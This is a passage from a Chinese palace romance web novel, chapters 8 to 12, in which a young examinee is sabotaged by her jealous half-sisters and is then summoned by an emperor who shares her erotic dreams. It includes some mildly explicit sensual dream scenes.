苏明霞也没给她说话的机会,张口便接着道:“还不是你那副狐媚的样子,整日里勾勾搭搭,向主考施媚,偏得来的!” 柔兮瞳孔骤然放大,万没想到她能说出这样的话,压低声音回口:“苏明霞,你少血口喷人!” 苏明霞愈发地不依不饶,也越看她越有气,自己没见到陛下,也不知道还有没有入宫的希冀,三日下来,只有第一天得了上中品,剩下的没一个好。 凭什么她要让苏柔兮出风头。 苏柔兮又哪里有那般本事了? “翰林院的那个姓赵的,看到你眼睛都直了,苏柔兮,你别以为别人看不出来?” 柔兮当真是觉得她疯了,小眼神儿马上朝着周围望去,好在苏明霞床榻靠墙,自己后侧的人暂未在房,俩人离着别人有些距离,没人听见苏明霞的话。 “你乱说什么?” 柔兮声音压得更低了几分,心口“扑通”“扑通”地乱跳。 “你疯了?这话可能乱说?你也不怕给人听见,惹祸上身?” 苏明霞是有些要气疯了。 近来越来越烦,心中越来越没底,自己若是希冀落空,这小贱人却出了风头,那可真是恶心死人了! 苏柔兮算个什么东西,忘了以前怎么唯唯诺诺,怎么看她脸色的了?她给她提鞋都不配! 苏明霞断不能让这事再发展下去,不管不顾地继续挑衅:“你想让我大声说出来?别以为我不知道李嬷嬷那日去你房中看到了什么?苏柔兮,你当真是和你娘一个德行!” 柔兮听得她提起那事,本能反应,脸“刷”地一下子红了个透,心中瞬息乱极,唇瓣微颤,突然之间竟是一句话也说之不出。 苏明霞狠狠地道:“跟我出来!” 话音甫落,已起身,出了去。 柔兮坐在床榻上,心潮翻涌,半晌后,眼波流动,慌乱地又一次扫了眼周围,见旁的女子还是没什么反应,各自依旧在做各自的事,气氛亦如适才,确定她们真的没听到,微微放心,咬了下唇,穿上绣鞋,随她出了去。 苏明霞满心满脑都是气焰,今日心情极差。 拿苏柔兮出气是惯例! 她要给她定规矩:后边五项,苏柔兮只能拿“中上品”以下,若敢再争,有她好看! 将将想完,还未寻到隐蔽的地方收拾、威胁那个小贱人,就在这时,身后突然响起苏晚棠的声音。 “长姐!” 苏明霞停下了脚步,回头,果然看到苏晚棠朝她跑来。 因着进来时的顺序不同,苏晚棠没能与她二人住在一间房中。 苏晚棠倒是颇为幸运,和那户部郎中家的千金朱凝慧与太医令之女许汀瑶住在了一起,近来与俩人交好。 苏明霞见她来寻,料她定有要事,马上迎了过去。 苏晚棠看到柔兮也在,特意背了她,拉着苏明霞朝前几步。 柔兮犹在惊慌之中。 她心中虽有鬼,确实做了那不堪的梦,但安安分分,无半分过错,半分逾矩,是个清清白白的姑娘。 奈何从小便被人诟病,受人口舌,虽已习惯,不甚介怀了,可眼下百花宴事关重大,绝非寻常时候。 苏明霞若当着这么多人的面,造她的谣,人言可畏,即便碍不到她在百花宴的次第,那些污言秽语也定会在女子间传开,日后还怕传不到顾家耳中? 顾家是何等显赫的人家,就算她日后证明了自己的清白,人家也未必愿意要一个被人说三道四的儿媳。 因着这种种千丝万缕的关系,柔兮承认自己又一次落入下风,受了苏明霞的牵制。 她抬眼看着两人,两人在说着什么她自是听不到的,也在暗暗地想着对策,正这时,突见苏明霞眼睛一亮,当即便笑了出来,“当真?”二字脱口而出。 柔兮的视线定在了她的身上。俩人瞬时目光交错,但只有一瞬。 苏明霞接着便错开了目光,拉着苏晚棠背过了身去,不知说了什么,没得一会儿,转头朝着柔兮道:“还不快给我过来!” 苏晚棠返回几步,拉上了柔兮的手腕,将她拽了过来。 几人继续前行。 柔兮道:“你少造谣我!你便从来没想过,在外边,你辱我,便是辱你自己,辱苏家女儿的名誉,你我一荣俱荣,一辱俱辱?” 苏明霞竟没说话。 柔兮继续:“你到底要说什么?” 苏明霞依就缄口不言。 但下一瞬,俩人突然一下子把柔兮拽进了一处假山之后。继而接着,还没待柔兮反应,二人合力,一把缚住了她的手臂,用帕子堵住了她的嘴,转瞬又用另一张帕子把她捆在了假山后的架木格栅上。 一切不过转瞬之事,柔兮不住挣扎,口中“呜呜”出声,但于事无补。苏明霞与苏晚棠动作十分利落,更是一句话没有,做完之后,马上便跑了。 柔兮脑中“嗡嗡”作响,惊觉中计,气息急促,使劲挣了数番,发觉那帕子绑得不甚紧,毕竟只是帕子,长短宽窄有限。 她知道自己能挣脱,只是怕是要耗费一些时力。 更知道,苏明霞绝对不会只是想把她绑在这一时半刻惩罚她,苏晚棠定是告诉了她什么要事,若没猜错是和百花宴有关,她们实在是太坏了! 将将想完,心中也正慌乱间,柔兮突然听到脚步声。 两名尚仪局女官的对话传来: “听竹堂缺了一个。” “快点找,就到了!” 不错,那“听竹堂”正是柔兮的居所,接着她便听到了自己的名字。 女官微微扬声唤道:“苏柔兮?苏柔兮?” 柔兮心口起伏地更甚,一张小脸已急得泛红,浑身热汗,一面妄想弄出声音,给人发现她被绑在了这;一面还在挣着帕子。 手腕上越来越松,但两名女官的声音已经渐行渐远。 柔兮心中着急,前所未有之急迫。 就到了?谁就到了? 是突然加试了什么? 可与那最终次第有关? 柔兮绝不可能就这么弃了! 越想,她越急,也便越用力挣脱束缚。 不知过了多久,那绑在格栅上的帕子,突然被她挣开…… ********* 漱玉殿。一片肃静。 除十二位宗室女外,一百零六位女子皆被集聚在此,唯有第十五行缺了一人。 前八行女子被请到一旁,从第九行开始,亦如那日,一行行上前,走入近殿,但不同于那日,上前女子不必说话,只给那御座上的帝王,一一过目。 萧彻面色肃然,坐在御座之上,撩起眼皮,看着那一排排走近的女子。 他看的很快,几近一扫便过,是以剩余的十二排,一刻钟不到的功夫,他便全部看完了。 屋中阒无人声,静的仿若能清晰地听到每个人的心跳。 待得结束,那男人没有任何停留之意,慢悠悠地起了身,继而长腿迈动,抬步便行,从头到尾,一句话未说。 众女弯身,待得他走下玉阶,出了近殿,齐齐开口:“恭送陛下……” 几近与那声音一齐,殿外忽地响起一阵急促的奔跑声。 也是与那声音一齐,一个雪白雪白的小姑娘骤然闯入人的视线。 还是与那声音一齐,萧彻伟岸的身躯恰恰行至殿口。 千钧一发,俩人正面相撞,所距不过咫尺,数步之遥。 那来人不是别人! 正是柔兮! 一切只在瞬息,让人半分不及反应。 柔兮瞳孔猛然大放,仰着小脸,目光直直地便就定在了面前男人的脸上。 三重惊恐。 误了加试;听到“陛下”二字…… 但这前两层的惊恐加之一起也不及那最后一重的十分之一。 面前的男人高大昂藏,萧萧肃肃,轮廓与五官精致的似精心雕琢过一般,生着一张极具冲击力的俊脸,只是那张俊脸之下,是薄情与难近、疏离清冷之气四溢,威压自生,无论是身姿、脸庞亦或是神态,竟是,竟是皆与她春梦中的那个男人,一模一样! 9、第九章 第九章 柔兮当时便软了腿,呼吸几近停滞,顷刻之间脑中“轰”地一声,甚至有那么一瞬双耳失聪。 那男人眼眸微垂,冷冷冰冰,负手立在那,也正看着她。 不知何时,竟也停了脚步。 视线交锋,眸光相对。 须臾也仿佛过了良久良久,下一瞬,柔兮方恍惚回神,一下子跪了下去。 “臣女苏柔兮,拜见陛下……” “臣女,因事耽搁,来迟了,请……陛下责罚……” 她的声音是颤的,且是分分明明在发着颤…… 大殿上死一般的静,众女皆微微朝后轻转视线,但归根结底没人敢回头,没人敢真看,可即便不回头,也皆知晓发生了什么。 柔兮跪在地上,颔着首,心口不住起伏。 她的脸很红,喘得很厉害,即便控制了,也极为厉害,就连呼吸都打着颤。 男人的眼睛随着她跪下,缓缓地也垂了下去。 那双眸子,在她的身上定了良久。 所有人的呼吸都慢了半拍。 没人敢大声喘气,毕竟有前车之鉴,那户部尚书家的千金手串断落,被帝王逐出大殿,消了她的待考资格,再无转圜余地。 苏柔兮此番情状,与前者相较,无甚大差别,便是说上一句“有过之而无不及”,也不足为过。 然,就在众女皆以为苏柔兮这遭必然完了的时候,但听脚步声响…… 那男人竟是一言未发,未惩未斥,冷冷冰冰地绕过她,默然离去。 他走后许久,大殿上都依旧没有任何动静。 最后,终是那丞相之女林知微率先抬头,转过了身来。 其她人随着她动作,也都慢慢放松些许。 林知微淡淡一笑:“还真是,不同人不同命呢。” 说罢抬了脚步,慢慢离去。 众人跟在她的后边,也逐次地动了起来,不乏有人窃窃私语。 柔兮在她们过来之前,早已起了身来,让到了一旁,但暂时未动。不是因为旁的,她尚未彻底缓过来,腿软的很,不确定自己是否能行走。 苏明霞与苏晚棠已相视了无数遍。俩人皆面红耳赤,眸中带怒,咬牙切齿,心中不知叨念多少遍:怎会这样? 不错,她二人是想效仿那户部尚书之女的例子构害苏柔兮,想她被逐出百花宴。 此番成了一举两得,既能让苏柔兮当众出丑,丢人现眼,再不能出风头;又能因此毁了她和顾时章的婚事。 绑她之时,她们也是没想让她挣脱不开那束缚,也知道她必然会循规前来集合。 原无论是她迟误了时辰,还是慌急奔来、在殿前失了仪范,这两样错处中的任何一处,都堪比那户部尚书家的千金手串坠地的失仪,定然难逃责罚,却万万没想到,陛下对她,竟未施加半分惩戒! 苏明霞与苏晚棠走在了最后,停在了柔兮身旁。 待得其他人都走远了,苏明霞方才挑眉,大怒,恶狠狠地小声开口:“小贱人,你怎么这么大的命?” 苏明霞满心怒火,陛下这回看到自己了,但就扫了自己一眼,没有择自己,没择任何人,且不知是什么意思?苏柔兮也没被逐出皇宫,消掉待考名籍。 她什么也没干成! 不止,也不知是错觉,还是这个小贱人今日实在是太幸运,赶上陛下心情好,她怎么感觉陛下对她很宽容?至少明显比对那户部尚书家的千金宽容得多! 两件事,三重怒火,苏明霞要气炸了,抬手便要扇她巴掌。 但被柔兮一把截下。 俩人的视线直直相对! 事情至此,苏明霞竟然还想打她! 柔兮低估了她的坏,更低估了她的蠢。 同为苏家的女儿,如此场合,把她往死里踩,甚至不惜让她在皇帝面前失仪,究竟对她苏明霞有什么好处? 如若真的触犯了天威,最最严重,苏明霞以为她真的就只是被赶出百花宴的下场么?她以为,她苏明霞自己和整个苏家便没可能受到牵连么? 但柔兮没闲心和她说这些,她也不配! 她这种人,以彼之道还施彼身就好! “你碰我一下试试?大不了鱼死网破大家一起死,我若现在就去找女官告状,说你二人绑了我,你们说会怎样?手帕和痕迹皆清清楚楚,你们别当我没留证据!” 她声线甜柔软糯,眼下故意压着,更显柔中带锐,斩钉截铁,字字掷地有声,纵是软语也遮不住气焰,前所未有,分明是真动了怒。 柔兮没真跟人动过怒。她性子很软,因为她没人撑腰,没有底气,更因为无论怎样到最后挨骂、挨罚的都是她自己! 但这次不同,她确确实实是真的生气了! 苏明霞听她说完一怔,倒是怂了一下。 俗话说兔子急了还咬人呢,苏明霞当然知道自己此番极其过分,与苏晚棠相视一眼。 苏晚棠比她胆子小得多,何况眼下是在皇宫,随时都可能招来女官,不想惹事,给苏明霞使了眼色。 俩人也便作罢。 苏明霞冷哼一声,白了柔兮一眼,拉着苏晚棠快步走了! 柔兮歪着小脑袋瞪着她二人,就要哭了,强忍着方才没让眼泪落下。 待得她二人一走,她马上扶着墙面坐到了台阶上。 究其原因,毫不夸张地说,她的腿到现在还在发抖,脑袋中,到现在还在乱嗡嗡地直响。 后怕,惊惧,混乱,惊慌…… 诸多心绪,数之不尽,最后化作一个画面,一个人——萧彻! 柔兮吓得一下子堵上了耳朵,也闭上了双眼。 怎会是他? 那个人,怎会存在? 这到底是怎么回事? 柔兮足足在此坐了半个多时辰,直到夜幕降临,天色彻底暗下,方才返回了房中。 进了听竹轩她目不斜视,没看任何人。 即便没看,也感觉得到,屋中女子三三两两地在低声说着什么。 极有可能是在议论她,议论刚才之事。 柔兮不想想,也不想知道。 回去洗漱了番,她便钻进了被窝,睡了。 苏明霞没再与她说话,就算与她说,柔兮也不打算理她。 她紧闭双眼,口中暗暗地一直叨念:不想不想,不想不想。 以此分散注意,不去想今日发生的事,确切地说,是萧彻。 如此,不知过了多久,她终于迷迷糊糊地睡着了。 然,却再度梦到了他…… 梦中,纱幔重重,香气四溢,琉璃灯盏中的烛火映着床榻上垂落下来的银线流苏,轻轻晃荡,将暖黄光晕揉碎在叠着暗纹的锦被上。 他将她困在身下,目光灼热又清冷,疏离又淡漠,充满着玩味与漫不经心。肌肤相亲的触感灼热而清晰,仿若就要将她烧着。那只骨节分明的大手,没在软被之中,覆在她的腿间缓揉慢捻,将那方寸之地裹得的严严实实。 她周身烧烫,娇躯泛起细碎颤意,眼中含泪,紧咬着手指,小嗓子中含着哭腔,盯着他连连摇头,就要受之不住,唤之出来,就在这时,柔兮猛然睁开双眸! 浑身早已湿透,汗珠自额际流下,一滴接着一滴,落到枕上,双腿软的和棉花一般,抬都抬不起来,耳边清晰地传来外面的蝉鸣声。 屋中漆黑,伸手不见五指,只有窗边隐隐地有着一点月光射入,柔兮反应过来,知道自己又是在做梦。 时隔多日,又开始了。 可此时不同于彼时,全然不同。 梦中的男人不再是虚幻之人,而是实实在在存在的人。 还是当今天子! 怎么办? 柔兮眼中一下子便涌上泪来,当真是吓也吓死了。 她翻了个身,忍不住抽噎了一声。 老天爷,可快饶了她吧…… 10、第十章 第十章 柔兮怎么想也想不明白,自己为什么会胆大包天,反反复复梦到和皇帝……那般。 若是说以前她很怕这梦给那顾时章知道,现在显然又多了一人,她,更怕给萧彻知道。 她确定自己在此之前,从未见过萧彻,根本便不知当今天子长的什么模样。所以,她又到底为什么会梦到他? 此刻夜深人静,她不由地又有了一个更荒唐,也更疯狂的猜测。 萧彻会不会也同样梦到了她? 一种直觉,也是因为今日亲眼所见。 黄昏那会乍见,萧彻在看到她时,眼中闪过了一丝惊诧,有着一瞬很明显的变化,只是,转瞬即逝。 想到这儿,柔兮只觉得浑身更烧,更热。 她马上翻了个身,泪眼汪汪地又强行切断了记忆,即便如此,也翻来覆去地再难入睡。 柔兮心潮翻涌,又慌又乱,更很害怕,还总是有着一种很是不好的感觉。 终是到了三更,她才勉强又睡了一会儿。 ******** 百花宴第四日。 第四日考“书”,不同于前三场繁复,耗时颇短,众女可同室落笔,堪堪一个半时辰便可结束了。后半日宫中无甚安排,众女可自便休憩。 黄昏,翰林院的几名学士带着众女的墨卷,到了慈宁宫,向太皇太后奏报当日考绩。 恰逢此时,皇帝也在。 太皇太后坐在贵妃榻上,接过四叠墨卷,宫人呈上裁纸刀。她慢启糊名,手指轻轻翻动,一一查看,一共看下来,共有十二篇“上上品”。 比之往年,已是难得。 太皇太后很是满意,笑着道:“‘书’之一字观墨色浓淡见风骨,辨间距疏密显匠心,查笔锋藏露知功底,品通篇气韵定贯通。一字不稳,便失了章法;一笔无神,纵是工整也难登大雅。” 齐下几名翰林院学士笑着附和。 太皇太后细细地看完了那十二篇后,又看了几篇“上中品”,突然眉头缓缓皱起,“啊呀”了一声,语气中尽显遗憾。 她将手上的一篇“上中品”墨卷递给皇帝。 “孙儿看这个,可惜了,竟是抄错了两个字,否则……” 她说着将那十二篇“上上品”又一一捻开。 “哀家瞧着,这篇书文,能排前三。” 萧彻接过太皇太后递来的墨卷,扫了一眼书文,而后便瞥向了其上的名籍。 “苏柔兮”三个字入了眼中。 与其一齐,太皇太后也叨念出了这个名字。 “苏柔兮……” “哀家记得,前三项她考的都很好吧,应是个颇有才情的孩子,断不该犯这等浅陋之错才对,看来,心不静啊!” 萧彻面色冷淡,眸子缓缓移开,将那墨卷扔在了榻上,沉声开口:“书道重品,心态,也是衡鉴的关键。” 太皇太后道:“皇帝说的极是。” 其下翰林院学士赵砚舟笑着道:“前三项五人满贯,此女便是其中之一。” 太皇太后缓缓地“嗯”了一声,此事她知,更觉可惜。 之所以那前三项只有区区五人满贯,因棋技考评中,每组只取首名予以“上上品”,是以,十分难得。 眼下太皇太后试图将人对上,但却有些对不上,是以问了旁边的邓嬷嬷。 “可是被许给平阳侯世子的那个?” 邓嬷嬷应声:“是,太皇太后,正是那个孩子。” 太皇太后点头,缓缓道:“难怪。” 萧彻眼底凝着晦色,端杯,用盖沿轻轻拨了拨茶,轻抿了一口,一言没发。 晚会,夜幕降临,萧彻回了景曜宫。 赵秉德快步跟在人身后,为他将龙袍褪下,直接将人引入浴房。 浴房中水汽氤氲,热气裹着暖意扑面而来。 琉璃灯盏中燃着微光,昏黄光晕透过水雾散开。 男人立在那,面色肃然,眸底晦暗,一双修长的手,动作不疾不徐地解着衣扣,褪下的衣衫随手搭在旁侧架上,片刻间便已赤了身,宽厚的脊背在暖雾中若隐若现,腰侧线条利落收窄,肌理上不知何时沾了细碎水珠,顺着腰背曲线缓缓滑落,没入下方蒸腾的水汽中。 他是像柔兮所猜测的那般,也同样梦到了她。 半年前便开始做起了春/梦。 梦中的女子容色倾城,十分美丽,但他却从未见过,也并不认识。 起初他未放在心上,梦境也疏疏落落,直至近月来,却是愈发地频繁。 昨日他听了皇祖母的劝言,亦是一时兴起,心血来潮,去看了那另八十几个女人。原本也就随意一看,没甚想找,也未报甚大期许,结果也与他预料的无差。 却万没想到,那缺席之人会赶来,更没想到她竟,正是他梦中的那个女人! 失望,自然失望。 他竟然会,肖想一个,八品太医的女儿…… ******** “轰隆!” 黄昏时天还是晴的,霞光浸染天际,夕阳甚美。 不想夜幕刚落,便起了风,云翻涌而至,没得一会儿外边便闪电雷鸣,降了大雨下来。 柔兮被吓得打了个激灵,缩在被窝之中,裹了裹被子,只露个小脑袋。 她的眼睛水盈盈的,含着眼泪一般,此时缓缓流转着,心中脑中,还是一团乱。 不仅乱,如今又多了一层担忧。 今日应试时,她分神太甚,犯了错,临近交卷时方才发觉,竟是誊抄错了两个字! 别说是这般关键的时候,便是平时,柔兮都不会犯这种错误,可见她当时是有多心不在焉。 发现也于事无补,已没时辰改正,就算可以,也已经改不了了。 柔兮不知道自己此番能得几等? 最后还有没有希望得个好次第。 扪心自问,她虽悄悄地想过拔得头筹,但也只是悄悄地,偷偷地想了想,没报那般高的希冀。她只要能入前十,脸上能有些光彩,将来不让顾家小觑,也能少得些银子,别再这般穷就,就成了…… 11、第十一章 第十一章 百花宴最后四日考的是画、诗词、女红兼及茶艺或香道。 四日光阴转眼便过。 柔兮心惊胆战地将这后四艺考完。原极不想回家,竟是也生出了几分想家了的感觉。 说是想家也不尽然,毕竟她的那个家也没什么好想,还是说做是想尽快离开皇宫更为确切。 最后四艺,她得了一个“上上品”,一个“上中品”。 因着“丹青”与“女红”二项,非当场评定,需待事后细审核定。是以,这两项同先前的“书”一样,她至今仍未知晓具体成绩。 后续是三日休憩之期,以备加试。待得三日一过,众女便可离宫,最终次第会在第四日揭晓,届时昭告天下。 柔兮每日都很紧张,生怕入不了前十,出不了风头,也得不到赏钱。 两日很快过去。 第三日午后,翰林院待诏携数名学士到了御书房。 萧彻正在批阅奏折,大殿上鸦雀无声,只间或传来他随手抛落奏折的轻响。 男人的脸色极沉,瞧上去心情不大好。 几人候了良久,方才听见帝王沉沉地开了口。 “呈上来。” 翰林院待诏与六名学士齐齐躬身:“是。” 赵秉德快步趋下,接过待诏递来的考绩册,返回,将其呈至帝王案前。 萧彻看完了手上的奏折,将其扔到了一边,而后,眸子方才落到那考绩册上。 他的眼睛最先看到的便是“苏柔兮”三个字,顺次看下去—— 上上品、上上品、上上品、上中品、上上品、上中品、上上品、上上品。 另有二人与她所得一致。 显然,这就是前三甲。 历来前三甲的次第,最终都是太皇太后与皇帝所定。 眼下太皇太后已经定过,给了那苏柔兮第二,只待皇帝过目。 萧彻盯了那个名字良久,而后慢条斯理地拾起了狼毫,将那个“二”字,改成了“三”。 ******** 慈宁宫中。 翰林院待诏与六名学士又将那“考绩册”拿了回来,给太皇太后过目。 太皇太后自是一眼便看到了皇帝改动的次第。 原她给了丞相之女林知微芳首、苏柔兮芳仪、太师之女沈若湄芳婉,不想皇帝调换了苏柔兮与沈若湄的位置。 若只从这几日的表现来看,苏柔兮若非誊错了两个字,应是本届百花宴当之无愧的芳首,所以太皇太后方才给了她芳仪的位置。 但皇帝做了改动,太皇太后也颇为理解。 毕竟沈若湄是他老师的女儿。 太皇太后看在眼里,倒是颇为高兴。 她记得很清楚,那孩子生得很标致,很端庄。 皇帝为她改了次第,莫不是,看上她了? 太皇太后笑了笑,自然没再做改动,朝着翰林院待诏与几位学士道:“便按照这个来吧。” 几人躬身应声,至此百花宴也便就差了那最后一事。 ********* 明日便可离宫,柔兮求之不得。 江如眉虽可怕,但没有萧彻可怕。 一连几日,柔兮不敢想那事,更不敢想那人。 她只当什么事都没有,那梦并不存在,自己的猜测也是绝对没有之事,总归就是什么都不想。 这会子已近薄暮,室外暑气渐消,温凉正好。檐外莺啼婉转,阶前花香沁人,众女子多离了居所,散在庭中观景。柔兮才小憩了片刻,醒来时身子仍带着几分慵懒,也便没愿意去凑那份热闹。 她躺在床榻上,眼睛缓缓地转着,想着自己半年后嫁给顾时章,离开苏家的场景,当真是想想都高兴。 然正高兴着,房门被人缓缓推开,自外走进一位宫女。 柔兮起了身,下意识循着动静望去,恰与那宫女的目光撞了个正着。 宫女轻声问道:“请问哪位是苏柔兮姑娘?” 柔兮立马回了话:“正是我。” 彼时屋中算上她,也只剩五人。 宫女应了声,随即道:“苏姑娘,请随我来。” 柔兮微微怔了一下,但只有瞬息,应声起身,穿了绣鞋,也理了头发与衣装,随着宫女出了去。 宫女将她引出曲水轩,柔兮小心翼翼地朝着四周看了看,心口“咚咚”乱跳。十几日来,她还是第一次出来,此刻愈发心下犯疑,先前一路不敢多问,这会儿终究按捺不住,轻声开口,也便问了出来: “敢问姐姐,是要带我去哪?” 宫女闻声停下脚步,侧身面向她,双手交叠于腹前,微微屈膝行了一礼:“回苏姑娘的话,陛下有旨,召您过去。” 脑中顿时“轰”地一声,柔兮当时便觉得一阵子腿软,险些站之不稳,睫羽轻颤,眼底漫开一层错愕,唇瓣嗫喏,微微张起,想追问些什么,可话到嘴边又生生咽了回去,只余下呼吸微微发颤,连带着方才还“咚咚”乱跳的心,此刻竟是像被什么攥住般沉了沉,连跳得节奏都乱了几分。 他找她做什么? 他又,为什么找她? 柔兮不知,不知,完全参不透,也无法向这宫女询问,只觉得瞬时之间便是连眼皮都是烫的。 接下来,她浑浑噩噩,脑中一直“轰隆,轰隆”响个不停,跟着那宫女一步步到了景曜宫…… ********* 半个时辰前,景曜宫。 萧彻自御书房回来,倚在暖阁的矮榻上。本随意坐会,且不知是不是这几日颇累,人靠在那竟是没一会儿就睡了过去。 梦中,床幔随风轻漾,他一袭月白里衣,衣襟微敞,慵懒地斜倚在龙榻之上。烛火摇曳,她裹着一袭薄如蝉翼的纱衣,烛火透过纱料,将她玲珑身段映得隐约分明,朦胧间仿若未着寸缕。人周身萦着香气,一步步走来,行至榻前,纤柔指尖带着微凉,一寸寸抚过他的胸膛,随即抬膝轻跨,坐入了他怀中,纤细腰肢似水中游蛇,贴合向他的身躯,扭动不已。 萧彻猛然睁开眼睛,额际渗出密密麻麻的汗珠,青筋微微凸起,眸色沉如深潭,缓了须臾,冷声唤了人来。 “赵秉德!” 让人备了水,一刻钟后,男人敞着怀从浴房出来。 晚膳摆了一桌,他没吃,回到了暖阁矮榻上坐了下,那双眸子愈发地沉暗,眼前是那个女人妖娆的身子,狐媚的脸蛋,耳边是她一阵阵地喘息之声,鼻息之下,是她身上的香。 他眯着眼睛,缓缓地摩挲着拇指上的玉扳指,过了良久,沉声唤来了宫女…… ******** 柔兮越向前走心口起伏的越厉害,浑身一阵子冷汗,一阵子热汗,待得看到了“景曜宫”三个大字之时双脚已经麻木,人几近傻了。 她不知道自己是怎么进来的,又是怎么被带到那男人的卧房的,唯知道,再度回神之际隐约已经看到了那男人的轮廓。 宫女将她带到了珠帘之外。 一帘之隔,她恍惚看到了萧彻慵懒地坐在了矮榻上,衣衫不甚整。 柔兮当即垂下了头去,心口狂跳,马上跪了下去。 “臣女,拜见陛下,吾皇万岁万岁,万万岁……” 话说完许久,里边没声,那男人竟是也没叫她起来。 柔兮一动不敢动,微微压下悸动后,喘息着又拜了一次。 “臣女,拜见陛下,吾皇万岁万岁,万万岁……” 这一次后,她方才终于听到那男人张了口。 “进来。” 柔兮立马应声:“是。” 但起了身后,脚下却迟迟未动,迟疑了几分,因着适才隔着珠帘她看得清清楚楚,他只穿了件浴袍,上身衣襟微敞着,未束分毫。 男女有别,他二人怎能这么见面? 但也只停顿了须臾,柔兮自是不敢违抗他的命令,终是硬着头皮掀帘进了去,但却是如何都不敢抬头的。 这时但听那男人冷冰冰地再度开了口:“叫什么名字?” 柔兮自然一怔,惊诧间也便缓缓地抬了头去。 俩人离着还是很远,但柔兮也看得清他的脸。 她额际上出了一层冷汗,尤其是对上他冷淡又疏离的眼睛时。 她叫什么,他不清楚么? 那日他向他报过姓名,今日,他派人去唤她。 他怎会不知道她叫什么? 但柔兮当然没胆子质问,乖乖地回口:“臣女,苏柔兮。” 声音是颤的,答完了这句,柔兮又马上微垂了头,但觉心口要炸开了。 她觉得他的举动间带着几分轻佻,有一点轻薄她。 且是,在故意轻薄她。 按理说,他应该知晓她已定了婚约,已被许给了平阳侯世子。 顾时章虽暂只是个正四品官职,但顾家累世勋贵,又承袭着爵位,无论看在皇室体面,还是世家情谊的份上,他都断不该对臣子的未婚妻子有,有半分轻薄之意…… 那种不好的预感再次席上心田。 柔兮再度有了那个猜测。 他会不会真的,也能梦到那些个春梦…… 12、第十二章 第十二章 他会不会真的,也能梦到那些个春/梦…… 虽然匪夷所思,但自己所历便不匪夷所思了么? 既然她能,“他也能”便就不那么奇怪了。 初见时,他眼中闪过的惊诧;加之此时莫名地把她唤来……他们认识么?明明不认识,却……就像是认识一样。 柔兮垂着头,汗珠从鬓边缓缓滑下。 越想,越觉得自己的猜测极有可能为真。 一时间,更加拘谨、惶惧、心乱如麻,诸般情愫缠缚着心,加之屋中静得能闻呼吸,帝王威仪,那股子压迫气息如重山压顶,教人心悸股栗,连指尖都微微发颤。 答完话许久,那男人的声音方再起。 “会跳舞么?” 凛冽,低沉,陌生,像淬了层薄冰,又夹杂着分分明明的漫不经心。 柔兮紧绷着心弦,揣测着他的每一言一语,再加上适才那点女子本能的直觉,此番闻得这问,柔兮同样,也有着一种被轻薄的感觉。 会如何?不会又如何? 会的话,他是要他臣子的未婚妻子,与他孤男寡女独处这寝宫之中,给他……跳舞? 柔兮没想下去,立马摇了头:“臣女……并不会。” 这话也是实情。因着百花宴考评七艺,其中无舞技一项,是以京中官宦人家的女儿,大多不曾学过起舞。 萧彻道:“来人,拿笔墨。” 柔兮轻轻地攥了攥手,依旧未敢抬头,不知他这是何意,只小眼神小心翼翼又战战兢兢地用余光扫了两眼。 不时,有宫女呈上了笔墨,不止,还抬来了桌椅。 萧彻轻描淡写:“把它抄完。” 言罢,再一句话也无。 柔兮心间慌乱,但面上维持了几分镇静,马上缓缓地福下身去应声,而后,到了那桌前,慢慢坐下,也是这时才看了桌案上的书籍,知道了他是让她抄什么。 是经文。 柔兮不知他到底要干什么? 但抄书她会,于她而言也颇为简单。 眼下人已麻木,感觉自己都不是自己了,自然走一步算一步,硬着头皮,他让她干什么,她就干什么罢。 只是那男人就在她对面,屋子里面只有他二人。 柔兮不敢抬头,不敢与他对视,因着余光瞧得一清二楚,那男人慵懒地倚靠在那,单腿支起,半眯着眼睛,视线竟是几近一直在她的身上。 吓也吓死了! 柔兮如何能静心,拿着狼毫的手都是抖的,起先,字也写得歪歪扭扭,横竖不直,足足两刻钟后,方才渐渐镇静些许…… 萧彻是什么都未做,只倚靠在那,手指缓缓轻缠,把玩着佛珠,观赏似得眯着她。 看着她汗珠自白净的脸颊滚落,沾湿鬓发,她一次次慌乱地拾帕拭汗,胸口起伏不定,想抬眼却又不敢抬,那双能勾人魂似的眸子中水光潋滟,透着胆怯,乖顺,温婉,纯净,狐媚,剩下的是春色,恍惚倒是让他想起了梦中,她在床上时的那副妖娆的样子。 萧彻从不缺女人。 他见过很多美人,后宫佳丽人人花容月貌,燕妒莺惭,或雍容华贵,或清雅如菊,百态各异,但他却从未见过一个女人能且乖且媚,且纯且欲,既如初雪般纯净温婉,又似狐妖般媚色天成。 夕阳很快落下,夜幕降临。 景曜宫中灯火次第燃起,通明通亮。 柔兮桌旁足足立了两盏灯,亮如白昼,她的眼睛倒是不累。但,转眼已足足一个多时辰,她的手累的很。 原只手累倒也没什么,问题是天色已黑,萧彻竟是丝毫没有放她离去之意。 她不知道他要干什么? 眼见只有一百余字,经文便要抄完,柔兮心肝乱颤,只想快点完成,快点离开。 待得大功告成,她马上收了狼毫,指尖轻捻纸页细细核对数遍,而后方才敢抬眼。 抬眼,也便就对上了那男人缓缓转将过来,冷淡如霜的视线。 柔兮起身,跪了下去,颔首,双手将经文举过头顶,呈给了他。 “请……陛下过目。” 候在珠帘之后的赵秉德马上快步进来,小心地将那经文接过,给帝王呈了过去: “陛下……” 萧彻单手将那纸张拿了过来,扫了两眼,未置一词,修长的手指缓缓地动了动。 柔兮心惊胆战地一直盯着他的动静,瞧见这一手势,一颗悬着的心突然落了下去。 果不其然,赵秉德微笑着过来请了她,继而唤进了一名宫女,带她离开了去。 柔兮憋着口气上不来,一直到了曲水轩,方重重地松了口气。 一切像噩梦一样,这样的噩梦以后可,可千万不要再有了! 她庆幸,明日便能出宫,就能回家了! 从此以后,她再也不要见到萧彻了。 返回寝房,已是亥时,烛火刚熄。 有人为她开了门。 众女皆刚刚就寝,都还尚未睡着。 自然有人询问她去向。柔兮不知如何作答,实话断是不能说的,只简单搪塞说有人唤她抄经文。 旁人也未深问。 但苏明霞不是旁人,她也不好糊弄。 柔兮走回床榻,刚刚靠近,她便冷着脸压低声音,不依不饶地问了起来: “‘有人’是谁?到底谁叫你去抄经文了?” 柔兮沉着小脸,不悦地看了她一眼,终是没答她的话。 自七日前那事之后,柔兮没与她说过话。 苏明霞也收敛些许,毕竟这是皇宫,自己那事没办成,反倒有把柄落在苏柔兮手上了。苏明霞怕把她惹急了,鱼死网破,但一旦回到苏府,这事也便过去了,苏明霞有的是机会收拾她。 但眼下苏明霞还是好奇,她亲眼看到是一个宫女把她带走的,且不是在曲水轩,而是出了曲水轩,那就意味着不是女官找她,不是女官还能是谁? 